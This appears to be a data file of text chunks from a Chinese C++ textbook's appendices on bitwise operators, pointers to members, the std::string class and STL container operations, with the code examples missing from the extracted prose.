    {"text": "图E.6 按位运算符AND 表E.3总结了&运算符是如何运算的。 表E.3 b1&b2的值 位 值 b1 = 0 b2 = 1 b2 = 0 0 0 b2 = 1 0 1 & =运算符结合了按位运算符AND和赋值运算符的功能： E.1.3 按位运算符的替代表示 对于几种按位运算符，C++提供了替代表示，如表E.4所示。"},
    {"text": "表E.4 按位运算符的替代表示 标 准 表 示 替 代 表 示 & bitand & = and_eq ｜ bitor ｜= or_eq ～ compl ^ xor ^ = xor_eq 这些替代表示让您能够编写下面这样的语句： E.1.4 几种常用的按位运算符技术 控制硬件时，常涉及打开/关闭特定的位或查看它们的状态。"},
    {"text": "这是因为对1和1或者0和1执行OR操作时，都将得到1。 lottabits中其他所有位都保持不变，这是因为对0和0做OR操作将得到0，对1和0做OR操作将生成1。"},
    {"text": "也就是说，如果位是关闭的，则将被打开； 如果位是打开的，将被关闭： 对0和1执行XOR操作的结果为1，因此将关闭已打开的位； 对1和1执行XOR操作的结果为0，因此将打开已关闭的位。"},
    {"text": "首先，运算符～bit将原来为1的位设置为0，原来为0的位设置为1。 对0和任意值执行AND操作都将得到0，因此关闭相应的位。 lottabits中其他所有位都保持不变，这是因为对1和任意值执行AND操作时，该位的值将保持不变。"},
    {"text": "下面是一种更简洁的方法： 4．测试位的值 如果要确定lottabits中对应于bit的位是否为1，则下面的测试不一定管用： 这是因为即使lottabits中对应的位为1，而其他位也可能为1。"},
    {"text": "正确的测试如下： 实际应用中，程序员常将上述测试简化为： 因为bit中有一位为1，而其他位都为0，因此lottabits & bit的结果要么为0（测试结果为false），要么为bit（非零值，测试结果为true）。"},
    {"text": "也就是说，这个类将inches定义为一个成员标识符，但要为它分配内存，必须声明这个类的一个对象： 因此，可以结合使用标识符inches和特定的对象，来引用实际的内存单元（对于成员函数，可以省略对象名，但对象被认为是指针指向的对象）。 C++允许这样定义一个指向标识符inches的成员指针： 这种指针与常规指针有所差别。"},
    {"text": "和标识符inches一样，pt被设计为与对象标识符一起使用。 实际上，表达式*pt对标识符inches的角色做了假设，因此，可以使用对象标识符来指定要访问的对象，使用pt指针来指定该对象的inches成员。"},
    {"text": "由于feet的类型与inches相同，因此可以将pt重新设置为指向feet成员（而不指向inches成员），这样ob1.*pt将是ob1的feet成员： 实际上，*pt相当于一个成员名，因此可用于标识（相同类型的）其他成员。"},
    {"text": "注意，Example：：*pf必须放在括号中，可以将特定成员函数的地址赋给该指针： 注意，和普通函数指针的赋值情况不同，这里必须使用地址运算符。 完成赋值操作后，便可以使用一个对象来调用该成员函数： 必须将ob3.*pf放在括号中，以明确地指出，该表达式表示的是一个函数名。"},
    {"text": "由于show_feet( )的原型与show_inches( )相同，因此也可以使用pf来访问show_feet( )方法： 程序清单E.1中的类定义包含一个use_ptr( )方法，该方法使用成员指针来访问Example类的数据成员和函数成员。"},
    {"text": "在每个结构中，double成员的对齐要求为8的整数倍，但在结构thing1和thing2中，成员的排列顺序不同，这导致thing2需要更多的内部填充，以便其边界处于正确的位置。"},
    {"text": "这种数组结尾用charT(0)值（广义的空值字符）表示。 （表达式charT(0)将0转换为charT类型。 它可以像类型为char时那样为零，也可以是charT的一个构造函数创建的对象）。"},
    {"text": "有4种预定义的具体化： 上述具体化又使用下面的具体化： 除char和wchar_t外，还可以通过定义traits类和使用basic_string模板来为其他一些类型创建一个string类。 F.1 13种类型和一个常量 模板basic_string定义了几种类型，供以后定义方法时使用： traits是对应于特定类型（如char_traits<char>）的模板参数；"},
    {"text": "size_type与size_of的用法相似，只是它根据存储的类型返回字符串的长度。 对于string具体化，将根据char返回字符串的长度，在这种情况下，size_type与size_of等效。 size_type是一种无符号类型。"},
    {"text": "对于char具体化来说，pointer的类型为char *，而reference的类型为char &类型。 然而，如果要为自己设计的类型创建具体化，则这些类型（pointer和reference）可以指向类，与基本指针和引用有相同的特征。"},
    {"text": "为将标准模板库（STL）算法用于字符串，该模板定义了一些迭代器类型： 该模板还定义了一个静态常量： 由于size_type是无符号的，因此将-1赋给npos相当于将最大的无符号值赋给它，这个值比可能的最大数组索引大1。"},
    {"text": "表F.1 一些string数据方法 方 法 返 回 值 begin( ) 指向字符串第一个字符的迭代器 cbegin( ) 一个const_iterator，指向字符串中的第一个字符（C++11） end( ) 为超尾值的迭代器 cend( ) 为超尾值的const_iterator（C++11） rbegin( ) 为超尾值的反转迭代器 crbegin( ) 为超尾值的反转const_iterator（C++11） rend( ) 指向第一个字符的反转迭代器 crend( ) 指向第一个字符的反转const_iterator（C++11） size( ) 字符串中的元素数，等于begin( )到end( )之间的距离 length( ) 与size( )相同 capacity( ) 给字符串分配的元素数。"},
    {"text": "这可能大于实际的字符数，capacity( ) – size( )的值表示在字符串末尾附加多少字符后需要分配更多的内存 max_size( ) 字符串的最大长度 data( ) 一个指向数组第一个元素的const charT 指针，其第一个size( )元素等于 this控制的字符串中对应的元素，其下一个元素为charT类型的charT(0)字符（字符串末尾标记）。"},
    {"text": "当string对象本身被修改后，该指针可能无效 c_str( ) 一个指向数组第一个元素的const charT 指针，其第一个size( )元素等于 this控制的字符串中对应的元素，其下一个元素是charT类型的charT（0）字符（字符串尾标识）。 当string对象本身被修改后，该指针可能无效 get_allocator( ) 用于为字符串object分配内存的allocator对象的副本 请注意begin( )、rend( )、data( )和c_str( )之间的差别。"},
    {"text": "begin( )和rend( )方法返回一个迭代器，正如第16章讨论的，这是一种广义指针。 具体地说，begin( )返回一个正向迭代器模型，而rend( )返回反转迭代器的一个副本。"},
    {"text": "这两种方法都引用了string对象管理的字符串（由于string类使用动态内存分配，因此实际的string内容不一定位于对象中，因此，我们使用术语“管理”来描述对象和字符串之间的关系）。"},
    {"text": "由于返回的指针可能指向原始数据，而原始数据是const，因此不能用它们来修改数据。 另外，当字符串被修改后，将不能保证这些指针是有效的，这表明它们可能指向原始数据。"},
    {"text": "data( )和c_str( )的区别在于，c_str( )指向的数组以空值字符（或与之等价的其他字符）结束，而data( )只是确保实际的字符串字符是存在的。 因此，c_str( )方法期望接受一个C-风格字符串参数： 同样，data( )和size( )可用作这种函数的参数，即接受指向数组元素的指针和表示要处理的元素数目的值： C++实现可能将string对象的字符串表示为动态分配的C-风格字符串，并使用char*指针来实现正向迭代器。 在这种情况下，实现可能让begin( )、data( )和c_str( )都返回同样的指针，但返回指向3个不同的数据对象的引用也是合法的（虽然更复杂）。"},
    {"text": "注意到大多数构造函数构造函数都有一个下面这样的参数： Allocator是用于管理内存的allocator类的模板参数名； Allocator( )是这个类的默认构造函数。 因此，在默认情况下，构造函数将使用allocator对象的默认版本，但它们使得能够选择使用allocator对象的其他版本。"},
    {"text": "F.2.1 默认构造函数 默认构造函数的原型如下： 通常，接受allocator类的默认参数，并使用该构造函数来创建空字符串： 调用该默认构造函数后，将存在下面的关系： data( )方法返回一个非空指针，可以将该指针加上0；"},
    {"text": "从更普遍的意义上看，它使得能够将charT具体化初始化为一个charT数组： 为确定要复制的字符数，该构造函数将traits::length( )方法用于s指向的数组（s不能为空指针）。 例如，下面的语句使用指定的字符串来初始化toast对象： char类型的traits::length( )方法将使用空值字符来确定要复制多少个字符。"},
    {"text": "从更广泛的意义上说，该构造函数使得能够使用charT数组的一部分来初始化charT具体化： 该构造函数将s指向的数组中的n个字符复制到构造的对象中。"},
    {"text": "该构造函数要求s不能是空值指针，同时n<npos（npos是一个静态类常量，它是字符串可能包含的最大元素数目）。 如果n等于npos，该构造函数将引发一个out_of_range异常（由于n的类型为size_type，而npos是size_type的最大值，因此n不能大于npos）；"},
    {"text": "F.2.4 使用左值引用的构造函数 复制构造函数类似于下面这样： 它使用一个string参数初始化一个新的string对象： 其中，ida将是mel管理的字符串副本。"},
    {"text": "下一个构造函数要求您指定一个分配器： 调用这两个构造函数中的任何一个后，将存在如下关系： data( )方法返回一个指针，该指针指向分配的数组副本，该数组的第一个元素是str.data( )指向的；"},
    {"text": "再下一个构造函数让您能够指定多项内容： 第二个参数（pos）指定了源字符串中的位置，将从这个位置开始进行复制： 位置编号从0开始，因此，位置4是字符p。"},
    {"text": "第3个参数n是可选的，它指定要复制的最大字符数目，因此下面的语句将pt初始化为字符串“phone”： 然而，该构造函数不能跨越源字符串的结尾，例如，下面的语句将在复制句点后停止： 因此，该构造函数实际复制的字符数量等于n和str.size( )-pos中较小的一个。 该构造函数要求pos不大于str.size( )，也就是说，被复制的初始位置必须位于源字符串中。"},
    {"text": "否则，该构造函数被调用后，copy_len将是n和str.size( )-pos中较小的一个，并存在下面的关系： data( )方法返回一个指向字符串的指针，该字符串包含copy_len个元素，这些元素是从str的pos位置开始复制而得到的； size( )方法返回copy_len；"},
    {"text": "正如第18章介绍的，这意味着添加一个移动构造函数，它使用右值引用而不是左值引用： 在实参为临时对象时将调用这个构造函数： 正如第18章讨论的，three将获取operator + ()创建的对象的所有权，而不是将该对象复制给three，再销毁原始对象。"},
    {"text": "第二个使用右值引用的构造函数让您能够指定分配器： 调用这两个构造函数中的任何一个后，将存在如下关系： data( )方法返回一个指针，该指针指向分配的数组副本，该数组的第一个元素是str.data( )指向的；"},
    {"text": "F.2.6 使用一个字符的n个副本的构造函数 使用一个字符的n个副本的构造函数创建一个由n个c组成的string对象： 该构造函数要求n<npos。"},
    {"text": "否则，该构造函数被调用后，将存在下面的关系： data( )方法返回一个指向字符串第一个元素的指针，该字符串由n个元素组成，其中每个元素的值都为c；"},
    {"text": "F.2.7 使用区间的构造函数 使用区间的构造函数使用一个用迭代器定义的、STL-风格的区间： begin迭代器指向源字符串中要复制的第一个元素，end指向要复制的最后一个元素的后面。"},
    {"text": "这种构造函数可用于数组、字符串或STL容器： 在第一种用法中，InputIterator的类型为const char *； 在第二种用法中，InputIterator的类型为vector<char>::iterator。"},
    {"text": "调用该构造函数后，将存在下面的关系： data( )方法返回一个指向字符串的第一个元素的指针，该字符串是通过复制区间[begin，end）中的元素得到的；"},
    {"text": "F.2.8 使用初始化列表的构造函数（C++11） 这个构造函数接受一个initializer_list<charT>参数： 可将一个用大括号括起的字符列表作为参数： 这并非初始化string的最方便方式，但让string的接口类似于STL容器类。"},
    {"text": "initializer_list类包含成员函数begin( )和end( )，调用该构造函数的影响与调用使用区间的构造函数相同： F.2.9 内存杂记 有些方法用于处理内存，如清除内存的内容、调整字符串长度或容量。"},
    {"text": "表F.2 一些与内存有关的方法 方 法 作 用 void resize(size_type n) 如果n>npos，将引发out_of_range异常； 否则，将字符串的长度改为n，如果n<size( )，则截短字符串，如果n>size( )，则使用charT(0)中的字符填充字符串 void resize(size_type n, charT c) 如果n>npos，将引发out_of_range异常； 否则，将字符串长度改为n，如果n<size( )，则截短字符串，如果n>size( )，则使用字符c填充字符串 void reserve(size_type res_arg = 0) 将capacity( )设置为大于或等于res_arg。 由于这将重新分配字符串，因此以前的引用、迭代器和指针将无效 void shrink_to_fit( ) 请求让capacity( )的值与size( )相同，这是C++11新增的 void clear( ) noexcept 删除字符串中所有的字符 bool empty( )const noexcept 如果size( )==0，则返回true F.3 字符串存取 有4种方法可以访问各个字符，其中两种方法使用[ ]运算符，另外两种方法使用at( )方法： 第一个operator 方法使得能够使用数组表示法来访问字符串的元素，可用于检索或更改值。"},
    {"text": "第二个operator 方法可用于const对象，但只能用于检索值： at( )方法提供了相似的访问功能，只是索引是通过函数参数提供的： 差别在于（除语法差别外）：at( )方法执行边界检查，如果pos>=size( )，将引发out_of_range异常。"},
    {"text": "例如，下面的代码将pet初始化为“donkey”： C++11新增了如下四个存取方法： 其中front( )方法访问string的第一个元素，相当于operator[] (0)；"},
    {"text": "下面的代码在一个字符串中查找字符串“hat”的位置： 由于第二条搜索语句从位置2开始（That中的a），因此它找到的第一个hat位于字符串尾部。"},
    {"text": "要测试是否失败，可使用string::npos值： 第二个方法完成同样的工作，但它使用字符数组而不是string对象作为子字符串： 第三个方法完成相同的工作，但它只使用字符串s的前n个字符。"},
    {"text": "例如，下面的代码搜索子字符串“fun”： 第四个方法的功能与第一个相同，但它使用一个字符而不是string对象作为子字符串： F.5.2 rfind( )系列 rfind( )方法的原型如下： 这些方法与相应find( )方法的工作方式相似，但它们搜索字符串最后一次出现的位置，该位置位于pos之前（包括pos）。"},
    {"text": "下面的代码从字符串末尾开始查找子字符串“hat”的位置： F.5.3 find_first_of( )系列 find_first_of( )方法的原型如下： 这些方法与对应find( )方法的工作方式相似，但它们不是搜索整个子字符串，而是搜索子字符串中的字符首次出现的位置。"},
    {"text": "F.5.4 find_last_of( )系列 find_last_of( )方法的原型如下： 这些方法与对应rfind( )方法的工作方式相似，但它们不是搜索整个子字符串，而是搜索子字符串中的字符出现的最后位置。"},
    {"text": "下面的代码在一个字符串中查找字符串“hat”和“any”中字母最后出现的位置： 在longer中，最后出现的hat中的字符是hat中的t，而最后出现的any中的字符是hat中的a。"},
    {"text": "F.5.5 find_first_not_of( )系列 find_first_not_of( )方法的原型如下： 这些方法与对应find_first_of( )方法的工作方式相似，但它们搜索第一个不位于子字符串中的字符。"},
    {"text": "下面的代码在字符串中查找第一个没有出现在“This”和“Thatch”中的字母： 在longer中，That中的a是第一个在This中没有出现的字符，而字符串longer中的第一个空格是第一个没有在Thatch中出现的字符。"},
    {"text": "F.5.6 find_last_not_of( )系列 find_last_not_of( )方法的原型如下： 这些方法与对应find_last_of( )方法的工作方式相似，但它们搜索的是最后一个没有在子字符串中出现的字符。 下面的代码在字符串中查找最后一个没有出现在“That.”中的字符： 在longer中，最后的空格是最后一个没有出现在shorter中的字符，而longer字符串中的f是搜索到位置10时，最后一个没有出现在shorter中的字符。"},
    {"text": "第二个方法与第一个方法相似，但它进行比较时，只使用第一个字符串中从位置pos1开始的n1个字符。 下面的示例将字符串s1的前4个字符同字符串s2进行比较： 第三个方法与第一个方法相似，但它使用第一个字符串中从pos1位置开始的n1个字符和第二个字符串中从pos2位置开始的n2个字符进行比较。"},
    {"text": "非成员比较函数是重载的关系运算符： 每一个运算符都被重载，使之将string对象与string对象进行比较、将string对象与C-风格字符串进行比较、将C-风格字符串与string对象进行比较。"},
    {"text": "F.7 字符串修改方法 string类提供了多个用于修改字符串的方法，其中绝大多数都拥有大量的重载版本，因此可用于string对象、字符串数组、单个字符和迭代器区间。"},
    {"text": "+=运算符使得能够将string对象、字符串数组或单个字符追加到string对象的后面： append( )方法也使得能够将string对象、字符串数组或单个字符追加到string对象的后面。"},
    {"text": "此外，通过指定初始位置和追加的字符数，或者通过指定区间，还可以追加string对象的一部分。 通过指定要使用字符串中的多少个字符，可以追加字符串的一部分。 追加字符的版本使得能够指定要复制该字符的多少个实例。"},
    {"text": "下面是一些例子： F.7.2 其他赋值方法 除了基本的赋值运算符外，string类还提供了assign( )方法，该方法使得能够将整个字符串、字符串的一部分或由相同字符组成的字符序列赋给string对象。"},
    {"text": "如果pos1超过了目标字符串结尾，或者pos2超过了要插入的字符串结尾，该方法将引发out_of_range异常。 如果得到的字符串长于最大长度，该方法将引发length_error异常。"},
    {"text": "下面是各种insert( )方法的原型： 例如，下面的代码将字符串“former”字符串插入到“The banker.”中b的前面： 而下面的代码将字符串“ waltzed”（不包括！"},
    {"text": "，它是第9个字符）插入到“The former banker.”末尾的句号之前： F.7.4 清除方法 erase( )方法从字符串中删除字符，其原型如下： 第一种格式将从pos位置开始，删除n个字符或删除到字符串尾。"},
    {"text": "可以使用初始位置和字符数目或迭代器区间来指定要替换的部分。 替换内容可以是string对象、字符串数组，也可以是特定字符的多个实例。 对于用于替换的string对象和数组，可以通过指定特定部分（使用位置和计数或只使用计数）或迭代器区间做进一步的修改。"},
    {"text": "下面是各种replace( )方法的原型： 下面是一个例子： 注意，您可以使用find( )来找出要在replace( )中使用的位置： 上述代码将old替换为mature。"},
    {"text": "F.7.6 其他修改方法：copy( )和swap( ) copy( )方法将string对象或其中的一部分复制到指定的字符串数组中： 其中，s指向目标数组，n是要复制的字符数，pos指出从string对象的什么位置开始复制。"},
    {"text": "函数返回复制的字符数，该方法不追加空值字符，同时由程序员负责检查数组的长度是否足够存储复制的内容。 警告：copy( )方法不追加空值字符，也不检查目标数组的长度是否足够。"},
    {"text": "swap( )方法使用一个时间恒定的算法来交换两个string对象的内容： F.8 输出和输入 string类重载了<<运算符来显示string对象，该运算符返回istream对象的引用，因此可以拼接输出： string类重载了>>运算符，使得能够将输入读入到字符串中： 到达文件尾、读取字符串允许的最大字符数或遇到空白字符后，输入将终止（空白的定义取决于字符集以及charT表示的类型）。"},
    {"text": "有两个getline( )函数，第一个的原型如下： 这个函数将输入流is中的字符读入到字符串str中，直到遇到定界字符delim、到达文件尾或者到达字符串的最大长度。"},
    {"text": "附录G 标准模板库方法和函数 标准模板库（STL）旨在提供通用算法的高效实现，它通过通用函数（可用于满足特定算法要求的任何容器）和方法（可用于特定容器类实例）来表达这些算法。"},
    {"text": "G.1.1 新增的容器 C++11新增了如下容器：array、forward_list、unordered_st以及无序关联容器unordered_multiset、unordered_map和unordered_multimap。"},
    {"text": "容器list是一种双向链表，除两端的节点外，每个节点都链接到它前面和后面的节点。 forward_list是一种单向链表，除最后一个节点外，每个节点都链接到下一个节点。"},
    {"text": "与set和其他关联容器一样，无序关联容器让您能够使用键快速检索数据，差别在于关联容器使用的底层数据结构为树，而无序关联容器使用的是哈希表。"},
    {"text": "这使得可以编写类似于下面的代码： 第三，新增的可变参数模板（variadic template）和函数参数包（parameter pack）使得可以提供就地创建（emplacement）方法。"},
    {"text": "请看下面的代码段： 调用insert( )将导致内存分配函数在vt末尾创建一个默认Items对象。 接下来，构造函数Items( )创建一个临时Items对象，该对象被复制到vt的开头，然后被删除。"},
    {"text": "在C++11中，您可以这样做： 方法emplace_back( )是一个可变参数模板，将一个函数参数包作为参数： 上述三个实参（8.2、2.8和3）将被封装到参数args中。"},
    {"text": "表G.1中的示例阐明了含义 表G.1 为所有容器定义的类型 类 型 值 x::value-type T，元素类型 x::reference T & x::const_reference const T & x::iterator 指向T的迭代器类型，行为与T*相似 x::const_iterator 指向const T的迭代器类型，行为与const T *相似 x::different_type 用于表示两个迭代器之间距离的符号整型，如两个指针的差 x::size_type 无符号整型size_type可以表示数据对象的长度、元素数目和下标 类定义使用typedef定义这些成员。"},
    {"text": "在这个例子中，由于已经知道模板是基于string类型的，因此编写下面的等效代码将更简单： 然而，还可以在更通用的代码中使用表G.1中较精致（其中容器和元素的类型是通用的）的类型。"},
    {"text": "由于参数可能是vector<int>、list<strint>或deque<double>，因此需要使用带模板参数（如Bag）的模板来表示容器（也就是说，Bag是一个模板类型，可能被实例化为vector<int>、list<string>或其他一些容器类型）。"},
    {"text": "这些考虑因素导致了下面的定义： 这样，便可以这样使用该模板函数： temperatures参数将使得Bag被谓词为vector<int>，而typename Bag::value-type被谓词为vector<int>::value_type，进而为int。"},
    {"text": "表G.2 为所有容器定义的操作 操 作 描 述 X u; 创建一个名为u的空对象 X( ) 创建一个空对象 X(a) 创建对象x的拷贝 X u(a) u是a的拷贝（复制构造函数） X u = a; u是a的拷贝（复制构造函数） r = a r等于a的值（复制赋值） X u(rv) u等于rv的原始值（移动构造函数） X u = rv u等于rv的原始值（移动构造函数） a = rv u等于rv的原始值（移动赋值） (&a)->~X( ) 对a的每个元素执行析构函数 begin( ) 返回一个指向第一个元素的迭代器 end( ) 返回一个指向超尾的迭代器 cbegin( ) 返回一个指向第一个元素的const迭代器 cend( ) 返回一个指向超尾的const迭代器 size( ) 返回元素数目 maxsize( ) 返回容器的最大可能长度 empty( ) 如果容器为空，则返回true swap( ) 交换两个容器的内容 = = 如果两个容器的长度相同、包含的元素相同且元素排列的顺序相同，则返回true ! = a!=b返回!(a= =b) 使用双向或随机迭代器的容器（vector、list、deque、array、set和map）是可反转的，它们提供了表G.3所示的方法。 表G.3 为可反转容器定义的类型和操作 操 作 描 述 X::reverse_iterator 指向类型Ｔ的反向迭代器 X::const_reverse_iterator 指向类型Ｔ的const反向迭代器 a.rbegin( ) 返回一个反向迭代器，指向a的超尾 a.rend( ) 返回一个指向a的开头的反向迭代器 a.crbegin( ) 返回一个const反向迭代器，指向a的超尾 a.crend( ) 返回一个指向a的开头的const反向迭代器 无序集合（set）和无序映射（map）无需支持表G.4所示的可选容器操作，但其他容器必须支持。 表G.4 可选的容器操作 操 作 描 述 < 如果a按词典顺序排在b之前，则a<b返回true > a>b返回b<a <= a<=b返回!(a>b) >= a>=b返回!(a<b) 容器的>运算符假设已经为值类型定义了>运算符。"},
    {"text": "例如，如果两个容器的前10个元素都相同，但第一个容器的第11个元素比第二个容器的第11个元素小，则第一个容器将排在第二个容器之前。 如果两个容器中的元素一直相同，直到其中一个容器中的元素用完，则较短的容器将排在较长的容器之前。"},
    {"text": "G.3 序列容器的其他成员 模板类vector、forward_list、list、deque和array都是序列容器，它们都前面列出的方法，但forward_list不是可反转的，不支持表G.3所示的方法。"},
    {"text": "表G.5 为序列容器定义的其他操作 操 作 描 述 X(n, t) 创建一个序列容器，它包含t的n个拷贝 X a(n, t) 创建一个名为a的序列容器，它包含t的n个拷贝 X(i, j) 使用区间[i, j] 内的值创建一个序列容器 X a(i, j) 使用区间[i, j) 内的值创建一个名为a的序列容器 X(il) 创建一个序列容器，并将其初始化为il的内容 a = il; 将il的值复制到a中 a.emplace(p, args); 在p前面插入一个类型为Ｔ的对象，创建该对象时使用与args封装的参数匹配的构造函数 a.insert(p, t) 在p之前插入t的拷贝，并返回指向该拷贝的迭代器。"},
    {"text": "可能使用移动语义 a.insert(p, n, t) 在p之前插入t的n个拷贝 a.insert(p, i, j) 在p之前插入[i, j)区间内元素的拷贝 a.insert(p, il) 等价于a.insert(p, il.begin( ), il.end( )) a.resize(n) 如果n > a.size( )，则在a.end( )之前插入n - a.size( )个元素；"},
    {"text": "如果n < a.size( )，则删除第n个元素之后的所有元素 a.resize(n, t) 如果n > a.size( )，则在a.end( )之前插入t的n - a.size( )个拷贝； 如果n<a.size( )，则删除第n个元素之后的所有元素 a.assign(i, j) 使用区间[i，j)内的元素拷贝替换a当前的内容 a.assign(n, t) 使用t的n个拷贝替换a的当前内容。 t的默认值为T( )，即在没有显式初始化时，用于T类型的值 a.assign(il) 等价于a.assign(il.begin( ), il.end( )) a.erase(q) 删除q指向的元素； 返回一个指向q后面的元素的迭代器 a.erase(q1, q2) 删除区间[q1, q2]内的元素； 返回一个迭代器，该迭代器指向q2原来指向的元素 a.clear( ) 与erase(a.begin( ), a.end( )) 等效 a.front( ) 返回*a.begin( )（第一个元素） 表G.6列出了一些序列类（vector、forward_list、list和deque）都有的方法。 表G.6 为某些序列定义的操作 操 作 描 述 容 器 a.back( ) 返回*a.end( )（最后一个元素） vector、list、deque a.push_back(t) 将t插入到a.end( )前面 vector、list、deque a.push_back(rv) 将rv插入到a.end( )前面； 可能使用移动语义 vector、list、deque a.pop_back( ) 删除最后一个元素 vector、list、deque a.emplace_back(args) 追加一个类型为T的对象，创建该对象时使用与args封装的参数匹配的构造函数 vector、list、deque a.push_front(t) 将t的拷贝插入到第一个元素前面 forward_list、list、deque a.push_front(rv) 将rv的拷贝插入到第一个元素前面； 可能使用移动语义 forward_list、list、deque a.emplace_front( ) 在最前面插入一个类型为T的对象，创建该对象时使用与args封装的参数匹配的构造函数 forward_list、list、deque a.pop_front( ) 删除第一个元素 forward_list、list a[n] 返回*(a.begin( )+ n) vector、deque、array a.at(n) 返回*(a.begin( )+ n)；"},
    {"text": "表G.7 vector的其他操作 操 作 描 述 a.capacity( ) 返回在不要求重新分配内存的情况下，矢量能存储的元素总量 a.reserve(n) 提醒a对象：至少需要存储n个元素的内存。"},
    {"text": "表G.8 list的其他操作 方 法 描 述 a.splice(p, b) 将链表b的内容移到链表a中，并将它们插在p之前 a.splice(p, b, i) 将i指向的链表b中的元素移到链表a的p位置之前 a.splice(p, b, i, j) 将链表b中[i，j)区间内的元素移到链表a的p位置之前 a.remove(const T& t) 删除链表a中值为t的所有元素 a.remove_if(Predicate pred) 如果i是指向链表a中元素的迭代器，则删除pred(*i)为true的所有值（Predicate是布尔值函数或函数对象，参见第15章） a.unique( ) 删除连续的相同元素组中除第一个元素之外的所有元素 a.unique(BinaryPredicate bin_pred) 删除连续的bin_pred(*i, *(i - 1))为true的元素组中除第一个元素之外的所有元素（BinaryPredicate是布尔值函数或函数对象，参见第15章） a.merge(b) 使用为值类型定义的<运算符，将链表b与链表a的内容合并。"},
    {"text": "合并后，链表b为空 a.sort( ) 使用<运算符对链表a进行排序 a.sort(Compare comp) 使用comp函数或函数对象对链表a进行排序 a.reverse( ) 将链表a中的元素顺序反转 forward_list的操作与此类似，但由于模板类forward_list的迭代器不能后移，有些方法必须调整。"},
    {"text": "因此，用insert_after( )、erase_after ( )和splice_after( )替代了insert( )、erase( )和splice( )，这些方法都对迭代器后面而不是前面的元素进行操作。"},
    {"text": "G.4 set和map的其他操作 关联容器（集合和映射是这种容器的模型）带有模板参数Key和Compare，这两个参数分别表示用来对内容进行排序的键类型和用于对键值进行比较的函数对象（被称为比较对象）。"},
    {"text": "对于set和multiset容器，存储的键就是存储的值，因此键类型与值类型相同。 对于map和multimap容器，存储的值（模板参数T）与键类型（模板参数Key）相关联，值类型为pair<const Key, T>。"},
    {"text": "表G.9 为关联容器定义的类型 类 型 值 X::key_type Key，键类型 X::key_compare Compare，默认为less<key_type> X::value_compare 二元谓词类型，与set和multiset的key_compare相同，为map或multimap容器中的pair<const Key, T>值提供了排序功能 X::mapped_type T，关联数据类型（仅限于map和multimap） 关联容器提供了表G.10列出的方法。"},
    {"text": "如果X使用唯一键（即为set或map），则a_uniq将是类型为X的对象。 如果x使用多个键（即为multiset或multimap），则a_eq将是类型为X的对象。"},
    {"text": "和前面一样，i和j也是指向value_type元素的输入迭代器，[i, j]是一个有效的区间，p和q2是指向a的迭代器，q和q1是指向a的可解除引用的迭代器，[q1, q2]是有效区间，t是X::value_type值（可能是一对），k是X::key_type值，而il是initializer_list<value_type>对象。"},
    {"text": "表G.10 为set、multiset、map和multimap定义的操作 操 作 描 述 X(i, j, c) 创建一个空容器，插入区间[i, j]中的元素，并将c用作比较对象 X a(i, j, c) 创建一个名为a的空容器，插入区间[i, j]中的元素，并将c用作比较对象 X(i, j) 创建一个空容器，插入区间[i, j]中的元素，并将Compare( )用作比较对象 X a(i, j) 创建一个名为a的空容器，插入区间[i, j]中的元素，并将Compare( )用作比较对象 X(il); 等价于X(il.begin( ), il.end( )) a = il 将区间[il.begin( ), il.end( )]的内容赋给a a.key_comp( ) 返回在构造a时使用的比较对象 a.value_comp( ) 返回一个value_compare对象 续表 操 作 描 述 a_uniq.insert(t) 当且仅当a不包含具有相同键的值时，将t值插入到容器a中。"},
    {"text": "iterator指向键与t相同的元素 a_eq.insert(t) 插入t并返回一个指向其位置的迭代器 a.insert(p, t) 将p作为insert( )开始搜索的位置，将t插入。"},
    {"text": "无论是否进行了插入，该方法都将返回一个迭代器，该迭代器指向拥有相同键的位置 a.insert(i, j) 将区间[i, j]中的元素插入到a中 a.insert(il) 将initializer_list il中的元素插入到a中 a_uniq.emplace(args) 类似于a_uniq.insert(t)，但使用参数列表与参数包args的内容匹配的构造函数 a_eq.emplace(args) 类似于a_eq.insert(t)，但使用参数列表与参数包args的内容匹配的构造函数 a.emplace_hint(args) 类似于a.insert(p, t)，但使用参数列表与参数包args的内容匹配的构造函数 a.erase(k) 删除a中键与k相同的所有元素，并返回删除的元素数目 a.erase(q) 删除q指向的元素 a.erase(q1, q2) 删除区间[q1, q2)中的元素 a.clear( ) 与erase(a.begin( ), a.end( ))等效 a.find(k) 返回一个迭代器，该迭代器指向键与k相同的元素；"},
    {"text": "如果没有找到这样的元素，则返回a.end( ) a.count(k) 返回键与k相同的元素的数量 a.lower_bound(k) 返回一个迭代器，该迭代器指向第一个键不小于k的元素 a.upper_bound(k) 返回一个迭代器，该迭代器指向第一个键大于k的元素 a.equal_range(k) 返回第一个成员为a.lower_bound(k)，第二个成员为a.upper_bound(k)的值对 a.operator 返回一个引用，该引用指向与键k关联的值（仅限于map容器） G.4 无序关联容器（C++11） 前面说过，无序关联容器（unordered_set、unordered_multiset、unordered_map和unordered_multimap）使用键和哈希表，以便能够快速存取数据。"},
    {"text": "哈希函数（hash function）将键转换为索引值。 例如，如果键为string对象，哈希函数可能将其中每个字符的数字编码相加，再计算结果除以13的余数，从而得到一个0～12的索引。"},
    {"text": "具体地说，表G.10也适用于无序关联容器，但存在如下例外：不需要方法lower_bound( )和upper_bound( )，构造函数X(i, j, c) 亦如此。"},
    {"text": "表G.11 为无序关联容器定义的类型 类 型 值 X::key_type Key，键类型 X::key_equal Pred，一个二元谓词，检查两个类型为Key的参数是否相等 X::hasher Hash，一个这样的二元函数对象，即如果hf的类型为Hash，k的类型为Key，则hf(k) 的类型为std::size_t X::local_iterator 一个类型与X::iterator相同的迭代器，但只能用于一个桶 X::const_local_iterator 一个类型与X::const_iterator相同的迭代器，但只能用于一个桶 X::mapped_type T，关联数据类型（仅限于map和multimap） 除表G.10所示的方法外，无序关联容器还包含其他一些必不可少的方法，如表G.12所示。 在该表中，X为无序关联容器类，a是类型为X的对象，b可能是类型为X的常量对象，a_uniq是类型为unordered_set或unordered_map的对象，a_eq是类型为unordered_multiset或unordered_multimap的对象，hf是类型为hasher的值，eq是类型为key_equal的值，n是类型为size_type的值，z是类型为float的值。"},
    {"text": "与以前一样，i和j也是指向value_type元素的输入迭代器，[i, j]是一个有效的区间，p和q2是指向a的迭代器，q和q1是指向a的可解除引用迭代器，[q1, q2]是有效区间，t是X::value_type值（可能是一对），k是X::key_type值，而il是initializer_list<value_type>对象。"},
    {"text": "表G.12 为无序关联容器定义的操作 操 作 描 述 X(n, hf, eq) 创建一个至少包含n个桶的空容器，并将hf用作哈希函数，将eq用作键值相等谓词。"},
